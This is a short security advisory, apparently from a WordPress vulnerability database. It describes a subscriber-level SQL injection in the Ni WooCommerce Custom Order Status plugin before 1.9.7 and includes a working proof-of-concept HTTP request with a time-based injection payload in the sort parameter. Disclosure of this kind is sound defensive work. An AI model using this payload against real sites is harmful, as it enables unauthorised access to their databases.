WordPress Plugin Vulnerabilities

Ni WooCommerce Custom Order Status < 1.9.7 - Subscriber+ SQL Injection

Description

The get_query() function of the plugin, used by the niwoocos_ajax AJAX action, available to all authenticated users, does not properly sanitise the sort parameter before using it in a SQL statement, leading to an SQL injection, exploitable by any authenticated users, such as subscriber

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [Any authenticated user]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

action=niwoocos_ajax&sub_action=order_status_report&call=get_report&sort=procedure+analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1))),0x20),1)